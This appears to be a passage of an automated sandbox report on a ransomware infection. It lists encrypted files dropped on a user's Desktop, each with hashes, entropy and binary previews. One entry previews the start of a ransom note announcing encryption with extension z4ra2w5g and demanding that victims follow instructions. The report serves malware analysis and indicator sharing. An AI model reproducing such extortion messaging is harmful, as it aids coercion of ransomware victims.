. .UR.J....,..*!.jc....&B1.J./..h ~...2.. ......5#X.h,.....e....hHr...>..[er.X.%KbtB.WO..g!..B...u...B*.x\...:.......u...g...!V..o.=.>Hb[.Uv@a..^hXy.....#R.=.(....!....dDG{.....l...<F...N.....s!a...Qn+..5[.V...k..E'..
                        C:\Users\user\Desktop\BUFZSQPCOH.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.852864156723663
                        Encrypted:false
                        SSDEEP:24:DQVYV443DxbJPCXy8h1WkHK9X4P5AdHr/3b2kR7dFlipuutraP:DQVY4SxJC5hEkMBr/C2lcu
                        MD5:61BDC8A7B0EFEC3BD2EDA66034B55344
                        SHA1:34C0BE4F6CBF6CA2F1EE0F3A2C80D176E2BFE7FB
                        SHA-256:559E3F400E4727571E3D0C67CEFD58FB3DCCA40FED18D747823975A57D24457D
                        SHA-512:117590A7339430D4D915D0D5FCE7F48764AD9670BF1C08E66E55B2B271F63F80D7CAF79296E008E3F53E840E330CCF29B45345B4F9E970841899AE96962CFE2C
                        Malicious:false
                        Preview: .{j......yu.?.b.P....Y?#.I.TF...eP0..].Q.)YT.^......................8...T.W...H6.]u;.. .........g/..j'..&6..p.P=..q.....Qu.e....~..}..C......N.........T..R> ?.w..Sm.}"..rs..A...o..5.....i..o...x .....j.}.b....P;.....=....#...b(...5MET..<....f.@w....6nx|)....0'n.io%.....@}.........S.l......f..f~.4.WI[0.M...px..pA.....<'.z.A..R.N.r...dq!..8..!..s.....>...*...'.iP......p.N.....iB.N.Zk9..A.O+.wM..I...>...n..f .... .H........v;*.!..d.h.[."....9=b.C:..{kF.s....^..!...F...`Z@..E....pz.m.(.kv}b&.m k.@..@.....M......p....dP.^>.g$.CA3.!.....[?..]...'.`..I.[........E.k'......%..9.)...a.....[yA..`....h....bj.(k..q_....b@...s.]..P.....[....Tlhi.5..w'.?%6...W.....7O...uh".~...L./HPG. ....o..3-3.P..YGi.e...1....~)..k..xX'j.c.....?..dl..%..)...69c..~.T8.]RF![...M.c./.;'....t..V=..[`QQ..z....(...6.....:;@L.u..%.K..n.....J...w.^./F..7K...Ds.t..Q.%.\..'u,j.....~.zR....{+.`k.,.C...\Y.m.&P..~51H....*7-........6...;.t^........I;9+>x...#.Z.i.P..,....3.|..MS^
                        C:\Users\user\Desktop\BUFZSQPCOH\ATJBEMHSSB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.846970649974634
                        Encrypted:false
                        SSDEEP:24:8QTFJewf5Gvc0kRZQXA33tmvxldbP79SpU61LlWsjtX47hmdfouutr0Q:lJLfic0CiAHov9Ri54sjq7hmBq0Q
                        MD5:0247FDCF24909164CCCB15A539AE6D9A
                        SHA1:8C0D1DDEA735AB0C11F17E7A64675E4E133681C4
                        SHA-256:0C0D8AA0BA6005E09C5F557F78EC1513652E501B1BAE1DC04CD879F7F1F7975F
                        SHA-512:3FBB5AD78645027A7750C34E730DDF5ED2614E65C60DFA585CAB3CDAEED0B3E1EDA5EE670EC157D3666C7E8280C0CA71BB31DDB6AC8717BE971C39114678F77E
                        Malicious:false
                        Preview: .CbZ.}l@.s..5m.$(@O..+..?/....F.H.t..>..J4...N..mK .A.....N.X....0%..;p...B.7z..EY|./...0..y....%:.L..`...>`............g.j...b'b.. ..Sz...@x.>........'.j...mg..h...%.n.....&=4.8$OupA.#.N:..l..[x....H.&!...a..w.. /.=......a...yy.(.D..z....q.jb..h.Rc$.?H....N.-tR..V5:...;...+%.@4........k.....C.9.........>......L.......w.h.....$-.....hr5...-"..A.?o....Z..N!.iR...../y..W.So..se..R..,/6...f?.(5.H.=...&hf ..p82..T.As7.{}|..S..3..vi...<..*<...RN%...B.....KG..O3....1+.D....../E.G.a...*../.#h....}.g..e...H...@...^y...^.0...,.x..q2/Z...u...A....O.,.}.w.......c.....].:..`..8b.'.*Bh.=....p>.}w..h...#...D....H.z.'.}g.e.Q..o...%....L......c.H.)G..@pL.$.....Wp).v../..........be...h$.D..S.#.46g?...0?.a......%....a.L.f.LN..A...H.B.R.f+b ..v....N6...rX.B..WM.+...Bd..*.u....5.c......A.P.*<1..MV.;h._.=<....F.:.....4...n...d.=5.P.,+<..3....:5f...&......H...y.......r.R.......s`<..>..;t.&.UD........U.&j....R.\n.JI..Q ...,.........F...............l.CR.b.
                        C:\Users\user\Desktop\BUFZSQPCOH\BUFZSQPCOH.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.865268017099501
                        Encrypted:false
                        SSDEEP:24:S+q+Sxal81TaMIDaFqvQhQUzSkVffOE/S0mORztRBC6IWuutr5Log:pq+SxoMI+FqvcQUzSof5/SZ+BDC6/V
                        MD5:1354C6C87D42A64530637F5C79EA2336
                        SHA1:E5B0481BDD4E630CB13C5BB24AC11221D29D86CD
                        SHA-256:2E60852A5F449BB11D493B2F1071CDF29652BC2892798D1F1A51FC652C057BC4
                        SHA-512:94770CCA0A1054935A7E56B1BE31F5B3F8552B27E25D3D1A6DA899A7A4184C779EF659ED1D5AF4AC5674DFDA7F0F1C016E8C40855E72F4E4BD1E7333F7EA5EE6
                        Malicious:false
                        Preview: o.8...`.4.u.&5...3i:O.......I./...t3....../.&..7\..ON.n..L..<..p .......u'.%.....p%...M.......@;t.W..".Ejrt..[C.(.}A...bk..IBX.3E..4..R..|-y....JA.o.7I...].....N.8..;r?.&..{.Y...W..'W.E.['....&n...>..V.o...#bZ...Dd('..|JB.g.a....\+b..{.P+m.g..../.]..t..s..i.>._G...>.F).q.Y.` .\......"..f^..FA....<..K.R..M<.....2.T....1.....}D.N[.2<../...F.4l....R.H.....).s..Cp...........C.A.W.^.L.n8@F..........p.<.\..q.a.....?...^W... ...].%E.s.q+.622@.P....%,.(.I..m..eDe.L.n...g.w.....Y.Hx.|...@:>...o.`4..iJ.aB....v..ka._...Y.H..C.b....D....._7E0....-ibWf.Y.^e..D,CD iR^..!o.........Z...6&N.6j..S.....U....%..)k!...h...S*8{..'....;u..,...n^.p.x..X.r..N^+5.v.......D..V.....0d=..i.......'2..D.,0....H.+.o.f.f..,.s^*..).k;...Y.a...e..l.c'`.....Q.-7.d.:...:^..1...{9ke9.m>........\Ok..`.!..;..gH.B./x....m..n..l.7X.4UB..^..;]<.......pKJA*W.b.@..B......l/X.t..l.i.z9.........l..+.}..xB .e\....c.i.2.f..,Z..}ei.-..JY........z....j......."..#4i..R%...Ha....=.Q.-....c.
                        C:\Users\user\Desktop\BUFZSQPCOH\BWETZDQDIB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8454966142244436
                        Encrypted:false
                        SSDEEP:24:TAAJPIXZoerKIeHdF4tXDWM3ALmk4qzlqVBul6Muutrtri:DJwpoEKXHH4tXDR2mkNzlqLul6uc
                        MD5:0A0A0639D3A14257AAC9AC4012A4B010
                        SHA1:C3DBB8FBB3D0D2A920449DD5F28BE7230F30D457
                        SHA-256:693D254D54857E448657AE9D78842E64AD7B83B546778F61A7576F478110AADD
                        SHA-512:F08F09310451CF3AEB1348DBE4BF431A4A72F39787058BAE77D632512D1CA4DB805D4889F247256965DB3630F26B24D77E283896FE4FCD20B51D1D0BDD1E25A7
                        Malicious:false
                        Preview: .`X............./cd..r).&..f..........T>....)....=...@...Q[.V..........Y.]7...E.....M..U...........&="7C......?o...Ba......z...qh....)p..~...<.N..S'...P...h].9.m.U}.M).k+.1.]7.....B..@.P.cvnm.e.!...B.. 5.(..{.{ HGo..).Q$..).N...-....."....$O....4x...."c.{....C...}..K....rmK..\....J..k.f.....X.......f...[...;....k....h...5..^..f...l..j.Q......^6...y.X..`.L..l.E...-.);v.Z..}?XpX.G........59.6ur".]..8u(:|E.x..q!..b>..<]a..,{...F.%.h..Kw.....N8..Au..........0.c.pQ..:..*Q.:'ae....u.[..a......../M....^.P..T.@...1....,.!....@u...)!]eOv....vHo.[w........>.k....H...7#.^....w.:.6.j.xq...\...s..c....M.x..-|c7......Sq..s..@T..V....B..}..@...m.e...F.Oz.b...@J{F..@..A...x.m\..h!{-e}."N'..@.<.^{...qaE[....f.[.kj,*u.A...].y..!....(..T......-v,A'N.8*8k.G.k.*....$v.M.nJ.~=.". _Z...Ai.$.Dk...7.X...I...8.LR....x...Z........F.\c?.Q[.C\{8V.."5....F-y.AA..\.1.,...=...u...]X@.dWg..*f6.Tv....^N..xA$C.v....>`..9.t.c+<.z.E.RW q.)7....^I..t.o...6.;.T.v'..V..".X..`.f.i..^..:.
                        C:\Users\user\Desktop\BUFZSQPCOH\DWTHNHNNJB.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8341692532083425
                        Encrypted:false
                        SSDEEP:24:2+PTLP3Jmd1lfgMoR6irBCxcltbd8pyejguutr3wB:2eBmBS6QBCUztgB
                        MD5:62B638A546427A9BF6DF86004197AA63
                        SHA1:977BAECB8EF2553CC76616E6A02B39FA6EDCBC9A
                        SHA-256:FB7C024E1D2F8DBEB1FE435D282F1EFFF440F7716744FD3BC2F6A7D21A36BDB8
                        SHA-512:ECC476CA6E1A58B268599D612AEC16723534A0A48487BE9EA474B44AB03D52E7EA49546479BE2F55BD4C2E3DD58792EDCE909D8B9EB1FAF3B20E1FEEFBD9B801
                        Malicious:false
                        Preview: y.x=............x2.qv....F.R);.4.....s..T..Nsf.@.u'.....D......k.....n...;....."..i...1.o..........H......G...%...X.>.......f..6d.=...1....~.......(}...,.`c.{.N.9xH.o.|=9.a../.._.!....EnF....x...Y8.Ca.m.QL....3.H..L_.%J.(...x.%..UZ(:K...I.s.l....."i./]z."..%].q;.....Xl2\D.i..qx.....WzC......F...D.Q.aQ.*.^{.T..23....C?I.c*+....<..a.H.s.......,.nzW..W{5..^.:Nt...'..9..t.A*Gm.......pX.....{..2$..=..}@BG%Y..j.M.-L.d.D...D...-.m'. $..`..-.....jRn...)`.z.["l..7P.Z$./..n..Z..V.V/U..?PXKu.*%.*..@-..........i...<.9E: .U~.[...T.T....eB..p_..e..D.w.4q....K.7g.!.a..!..*...G.j`b....'.............&..6...~...p....i..m..O.#...;...L..m..;....*..n........!.*^...BKEa..Czt..C.?.$~t.1.L...l|..=#K...X..1.5..e..u.T.....Z.)..x.D.y.I..n....X....G8.}H.......H.n.aWb.W.....m...2....L.Y.OY...G.q..*.3a.....<..D_"...&.Vx..Xv^>.A..F....'..cG...u..7.....U....{.G%....n..[nM.>%...kk...\t...E....(%mT.f.!.d.b..n....SD...G.C.d.{(o..M...B.A...W.&].'Ea.../.=..J..7;.{D.h?.....
                        C:\Users\user\Desktop\BUFZSQPCOH\KBIFTJWHNZ.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.836866160861808
                        Encrypted:false
                        SSDEEP:24:ik5DSuE+JKV1I+4w+b709qqvH5AqhVMCRjb4KF5BDuutrx5n:ik55JA1I+BDznicj84xLn
                        MD5:46209687FBCF150E4D286F5DCB7C0E4C
                        SHA1:DFCA987BAF7F81A187EE2453DED687A24982386D
                        SHA-256:FCC6C8ED059062491BAE4FD3983441A97EC12D53B9E7CD7E97E978452219E81C
                        SHA-512:B50CBDD8E1BE6E3BB914BECE342EF7C9532D013445E0D2D4A5A445EB295062538693AE8B755B5E7BA9C796F8AC7F6D85BAAD839E582B8211A2E17B657FF73A19
                        Malicious:false
                        Preview: ......I.U.)..D...`..)D..%..e..xi.VE.c.V......5.r;g....bE.R.o..iF..0.8.iX.>n.G.....Y.|...o`.W..t;.7..%'|$2C......l6~#.".T....uN.)..nyVJ..o7....c..h.... (...;{I.._7.\$8d-...!.f*9%5.a.8kn..........+A.4~.D9*[."....o V.F..."..Ez...D%...j.n..I...0.Z....^..>.T.._..n.......98)9.k,.[....d;.....rg...b~.bR.%S[...!.rf$%f..}J...[.E....*..W._......^./....DG........!...#.G~....v...>.._..?.2.c......>;..*.....=`w....v..z..8F.b.w[.!.#......]...v.......~....k..cj.....>...R.M....1Ia..'.uJa..K(..@l,7.m.]?.Z..+_...:z...D..iuWDg......."..Z...OS.6(.p.8.....Y./..[v......s.....E;v...>....X0..8Y..s...?4.y..m...h.A.%.p....B.TH..E7.....#$s',...4s....1./.`.<h.....L...;.....B....6v.9.1'.9.J^xZ.......1.q=4XW.lY.../2.D....%5...n.yP.8...2.FwM.........2.1.....r...E.Y..F8....]....A....).2e.......7.bQ<.. y....?z+b..G"...*:B..@..q+B...v..\3..J.......0.Bxo......r).83.....0!u..Z7...R.*9F....ZV..C9.QA.....urf.o.............u..........l.k......Bt.....:w..7.>...0..}.O.%D
                        C:\Users\user\Desktop\BUFZSQPCOH\WDBWCPEFJW.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.852305750635348
                        Encrypted:false
                        SSDEEP:24:HHIBgd1YcXuZWsTUgsE+yft7T7ukcW7hacKcBM7YjX6uutrZCJ:n1XYzTfNftruCdacKcBMSQZ8
                        MD5:A7B2EEDED3D238CBCC9E605C2BA65B1B
                        SHA1:CCFAC007EFABD58BF327F64E51B2495D8CD9C56C
                        SHA-256:4AC2821A7702A5794DBD7FEE69B2FB375816604A63D8AD0A23E53CC4857A8F6F
                        SHA-512:DD0F52C9E9218B7911744B0274B1E36FC2F3B2F73F29D0D611CF9BDFAF7B4AE5728925381DC62423E6E969EA07B976A80BA062239EC3EA943565A4FE8CF9D6F7
                        Malicious:false
                        Preview: _..=y H..&...".x;...54.fk.G....*).....|Hj.e9b&\.......M.Y7?.+..hJ....>UK ..6.ve.....V...@...&..|ba...6.2 ... ......UOAVP.L_7.%..e1.n......V..[.m..%.....:..>...3. .....;..G.g.x9z.:.#....K..c.4.E..up.....{....7.V....`....t'&.;......:.f..^.V.,w....Z.(z^/*.2..R.J...w.a.?'u......T ....X.p.A .....]_./....k....x........M........}.....n'..l..).u{..M.K.iLC.ceo#V.Gr......L...d.3.1S..?...|..W..z[..+...*... .:.S.*.L.......S..2.*......LW.Z\#..__'..W......i./3h..<W~[.Om...$....kqb..G0N..{..e....8,g.2..<s.D.s)P.......%...}_.....P..~IWl..i<...@E.z.4....`#.r....meZ.1...(.0nx....\...r.A....|....t..\.@.......d.S..*...d_.T.5..7....../P.{g......a.7....,|.......&.".<..|.L~.M%8.....$t...C....@V.R..].c..!l..@....,Cv.V...[.O\.2.T.8rO..v.=...../-.).1..<)X.>)*..e)....h......(l..b..f..T.k.....g.......&34.8...]h..;.u.6..vg...-p....D.......-GlQ...4..g.s..Z....|.:...hxU.MFP......5..............W)9..e_.Bqn%...U.cYj.)W:?{...^dpU.w.....Y,.T..+.QV.....M...^R.5.1...
                        C:\Users\user\Desktop\BUFZSQPCOH\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\BWDRWEEARI.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.869192329356546
                        Encrypted:false
                        SSDEEP:24:9WbhLjvq4g6W8U3Fiqmiyo4vrGYUd4AQzbwcgBLpoSr96DVbdDJ1RESZzFZKXkZ2:9W9jvng6Q4qfX4SYc1Ncg7n96DV9Taaw
                        MD5:AD745DE9D5974D6D72A18EDE0B87AD41
                        SHA1:9F1791114185B9AB5510401E93A824EA911B69ED
                        SHA-256:3FC9559D889C6EBEAC6E6F8264023BF293F7D344EF589DC1F352CB61590DE5A2
                        SHA-512:A13538E5C17E2FFE283DD5D5FF2045C44AFE93AD5EE414929B2D1896A008EE52E0AC991AD25BDDF027862C9EBCB4ABB499DA63F2226176376AAE4966D89EC495
                        Malicious:false
                        Preview: 1.wf...\.........&4....;........`.i.........g..zF..j.$W...J..{}..;.DYj...".J..[..l2.jd......K_0.)'\..5l....]...C.....G[./.....y..E..?g{@...l.....B..fx..cg.k....t.....4......=G......J.D...qm.-..'.y..j.KST....).........7...f..l.=h..`.......w.A.m<.F>..W4[....GU....Z... @.8._.s\..Q.....?...7Se&..........w.m.c.....H........$....Q^.poCI.E........n._..WN...).I7....hCN.......P...6l...sdD.4-s.s...-.d9..q..b...{.`....I.j1hf..........Z...I..egc..e...J.g.a.3G.t.c.".._.6)L.8.#.+...I.......37M...^U.*.........Y.{.j4.1..R/..0N...b.e...]w...2....<:.....t..u.v.M.NM.-.p.\q..{.KUW@........*...3..3:...\.U-..(.9.....gq..B.(....RJH.d.\....F...Y..O...QV#.3....ow.\....S...9.}.. .P>I...8N$...aJ0.......yAgc.~...z...l*.;.Pv..n.Y.xQ..B....[U+X..>.G%.....4.Z../..1....U..1...U....s...c0.F.......7.b....<...F.....i.Y...........T...5X..(.S..'.AS..... ..............&.*._j.!...U.9......n._...q .....z.?....C....|vQ.-....e..M.M..DV.52.;...z,..Z......X.y.mA..im(\.+:.J~.K
                        C:\Users\user\Desktop\BWDRWEEARI.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.821787033705641
                        Encrypted:false
                        SSDEEP:24:+v0nbJwYWiX8C1DQ2nNjLlnn1uLdS75KSn9qFPWuutrdbjA:+0nini02NudI5KK9MP8dY
                        MD5:E539D14ABA862510D66FFDE651540DD6
                        SHA1:DA854C2692C4050F673EE84903EF03D6FF10783A
                        SHA-256:D606ED4819D2493021E9BFF76BDA11DDB5F5903FF8186E886454D480DD4738CB
                        SHA-512:8172766A148C88945E1D340E63EEA0AAE9DBA67EAA1EEC5B8BD11595D19B58B468B9238F72B3D0044BBDC4A5816BDC9760925485414A1FF64D2FEABE95188443
                        Malicious:false
                        Preview: ....y....+..NL.W..^.......4..... .}p. *)|....l....j...!....K....x ..g.D._cQ.'..?.T.a!....J[:..0..n.1.B...............V..%..........I..+../bw..'..".jw.H9..~2..|4....0...[V.dM4..$....-]..U.'r.j..~<.m.gk..}.B<..t......."E.Su..[.N.;..F0......i.%^..y..U.g..Q...9.p.:.'.B.!~F6..x..E..,;f.#.z..s..9. y.y.....U....9.p.{$.,C.%.P.&.cp....U.....X....\..G.........-cM5...U.N...GRH.5.jo...G..}....v.]...:........U.... W.......I....x.z.:.3yM...\...l....STd.h..(.A.F....(....g...yd=.,.DL.?.p$........]EI..^^-.ux.4..9.NV..IrfHs_...ALMn.o..&c.4N....T..(........2.d./Q.fej........q-0#R..z....O....E..GZ....Rg..-..W0.B..3.V..LC>.bdR .%`~.......=w@*=..n...Zj....T...lW..oHv....j...,.:*.@g&0.=......Fg...(.3.O.g........@....n1^1T.|0..P..T...;U.......n....SS....Y...1./.a.31..QZg......4&..I.Wkc.@.6........F.,.V..t!....6<H.w:w..3C.v.....R^..f.L..>s..:~v..t....g........S4=..PB..t......j.....q.v.".='....+...}T.....i...d[....>wZB..n. .07.dg....xwg..#.1...G........H.....4
                        C:\Users\user\Desktop\BWDRWEEARI\BWDRWEEARI.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8289657125032015
                        Encrypted:false
                        SSDEEP:24:Dpaye6r8rwFYxDSaHTMZEBMzuRksAFeXv7xHcz5uutrdy:1ew+xejC2uRkPFeXR2/g
                        MD5:DCD1154FA859DF393992333A33EABB6B
                        SHA1:93C7AA3B51E10DA37609CA10307B60869BDA8FCB
                        SHA-256:AF2A62760283C4F85977328B0AE71558A7C78FF2D2BE67DCFC5913D9FEA994AE
                        SHA-512:F57C50AEA9A33070BE996E7BD4F39CB7AB7C36FF93011C24F61A344FAFCDFAC46484E463C22820BAC4959BCE9BE7638B437FDA101A815B15EF328F806766FB12
                        Malicious:false
                        Preview: .C1.M.C..:u...wm[..".{..zXH..$.+.y....e.O.HD}...z^u-}.p..L.f.h=O......`....v.N.<...3.r..u. ..n.%.Ay:.....8B.\...@G2....Q....l$..C$.%d.H.%..A..8,().g....,...Wz.....v[W.c.u.{C.e.x.t.....d.^.G..*.#o.m"gZ....-..0.....Q.).....5.9.....qLy"K^.m."..1.....9a.a.1.....".L%.......y{....<.}Jqm..R...7?V.e......["..GiC..t...6.\z..t.^<...z.w!.f....S..y.5......;*...4...1(.IK....5.K....X.....]n.Xn.hP..x^K.#...0......q5i....rX.EqC.2Ui0...[U.....G.ho+_.............,.'.w.1+...nF.....Ry...9E^....t...m4I...r....ZO!........9.LTt[..Y.OM.../....... ...:..e..<....Rj.x..5h..A..1<I.il."z...9.C.:.1.......).Q^.E.`[.5.V...9.v.....,........d.h.....rEE...EP.{...<z=."tR?...`....T.4.\.......9.L.i..b..=V...t .......w.n...........{l.\...*..?.n.".-d)......:..j.......z..H..W.+..;.H...r....F.;.A...X....!t....+....A..C.R!....)..5..+....U.|....6]...7Y.J..P...w..Xr+2!.^.....C..3.4.R.PH.....(..+_..7..#.............}..L.........T...]...E1...\...l....O\..H1.............8.;
                        C:\Users\user\Desktop\BWDRWEEARI\ERWQDBYZVW.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.842852420550572
                        Encrypted:false
                        SSDEEP:24:aTSIFgzFdB0qwhU6Z/VTr9+L52NAEB+VtICi+Y4tj5SVyYXRX0NDZuutrYmRBdx:ESAgp7/YjZ50L52NFNb4t4ykgfVRBX
                        MD5:19225B1D700747081FB46C230E8DF8AB
                        SHA1:6B2C727B757380402E50C377BE273C36BBE275D1
                        SHA-256:7A3BB21741511614F47A36DAF69A8C0379E3B7407A5676E45F9E96C5A38ABE83
                        SHA-512:8A5547DDC944DE28C601BCEA1AFC3FB19965666D58763DDC02A783A639684B432B7AA9D3879BAF1C28D8209120285B437F69954B34F53680AB7B802B886DE66B
                        Malicious:false
                        Preview: 9..{gE..P.._..b.;.Kv...<.TmLd...T....{....b..%S?.VW..)...`E.m.!m`..F...[...y.U..i.c.....d.4.d....!.M..q.x2.......0a..I=._y.-....0.h.W...5.$|....Mi..q.Q....W....L..2^.Rp;....?.M.?;...V.1suQUE..}..V.#.[_.F.;5..d x.}.......a..4.M...R..sH=}.76..>..d.Q.._.\...2.oK...dA~..k8.r..c.Y..@S_9....d.H.3.<..3[@~!$n5dcz/)b..P. l..............4....Rk.Sc..;...>2u]..i'7Bv...A..}....-.o......i.f......g.:...`...n~......Z.....>...,....y.n<%,...c.....|g..).d@.....7...tcFI..,Rt......e .*1.z.D..G.;\p........8N..:)..VN'.9o.Y....zt.Ey..._.b.|...GE..!.Q..Z.h.&R..s.(..}..C...FL...(.]........"x~....8f..|..Y|..g......]......5..o..^..u~Q..A.%...4.}..@...%R.gD.4.9$V..a.#....~~...,........(<..2.....6'...Q!.&.S=g...h...........S.L~..Wj...Xa.Q.c...^.hnis.S#.P..T.ruX.2.d...)RrK^...^.....jwHz....di.....8..2.g.#.?.e....j=..B[...p...W.....zw...8..S..l!...x.........`...+.2....km...{....*j.wm.;.>...,...f......G(&..M..4..=....oj...`J..(..W.-..1.<.2.d.../../.[KJ5.[....W..T.L.c#[m...-K...
                        C:\Users\user\Desktop\BWDRWEEARI\FAAGWHBVUU.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.843156224322512
                        Encrypted:false
                        SSDEEP:24:5m4c9dTc+shD4VvZErMYZE2sIQzyLcxK2uxJuflNHpuutrF5J:5m42T4h6ZEr3E7GLQJQEflhFf
                        MD5:371B3006141CB75ACD550EE2D3BA6079
                        SHA1:66E3428872B6D9BCC06BBA4CD4CA65CDFFCA86DA
                        SHA-256:A2658936B5453DFB439894E9CA7E71C7B391ADA9F2B774A6F92137BA5ECDEFD4
                        SHA-512:BED25A93E0A7A961FC707653F21A9455AF5DB386140363201A3EF01489C4470F92EFF484A232637A4FA1BBFD504F8770552E453A2860D78EEE09C20ED090E298
                        Malicious:false
                        Preview: I...v...ySQ.....y..nj....,9......a.6x6...y..:..........3..o..J+D.+...c.H..X....../...}.......K1n..1.[..F.Ps.m...y..>.98z&.`nq.5..j..u...%^...y..T..\....|.'.$.x..m.u..J*.....5.K.=....7...T...:V.Dv....i.0.Q"T.I...m...y...p@c..:..9...t+..Z...E.....^...Z.P0.8..n.RsV.6.t...$)0.{}e..H...p.x..?\.....v..$v.].N'....t..@...Q3..Z..Y.7o.]...z.T@..(?|....eB...P.RG_`...........h...K....`".(.H..:...)o.B..7". ....../..$.c.E.S....6.gw....g..M.K..Y..3..`...Zo%.N\.`.H..z.1h.<....*Y...D..#.&...M...+c`_..>.f..t..#..d......]0..l.S\......Q.....>.P\._.+..4U./.i...>.'..L.6-.A.O...QR]W..R\..`..2.j..S..%.7..g..lm..u4GV..E.p/~P.n.-.'mA.s..h.h.^##..:a...."L_........l"w #.....R2.Dc.. ...9..H....*..l.... ..k{....e..K1.ej:.....]T@>.C.V4%./6...:@5...z.h....jG.F.{{....Le..u.&N..m.t^...(K...\..o.......g@..y....y....|6._N-.3Wc..+....y.|.t..S}...."........}..k+X_.)..@,.....S.....@...=av.....H.[..rZ...F...!.jm}H..t...'..&..o*.P..1u.s../......<b6.....e...i. f.m2......we..V..(..O
                        C:\Users\user\Desktop\BWDRWEEARI\FGAWOVZUJP.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8511325083613155
                        Encrypted:false
                        SSDEEP:24:hXGLQUzv7YVBVi4E4UuYv+qiz948wGsk3tN/CRsKnBv0Rv7Z6/Duutr8:hkJsTVi//Vpizi8wvk3OmKU7Z0N8
                        MD5:3C402EC9AD223D4D361D47E5DC6CCEDB
                        SHA1:7C38B6E3F2767AFC378E7AE606A0E8AE95512A2A
                        SHA-256:56817D180760F3BDF81E0057A3EEE1FE9109024EF7CBB310584AE0C01D2A5AC8
                        SHA-512:F18BF9E96C52E35CB8DC92152EA70D9CDD199B5205C1E7F5D5FC169952DEEB85D2E8773FAEA2BBF7970C1B50A3A56FD0DCA7B56EF7BB29667CF6D99C74CF711F
                        Malicious:false
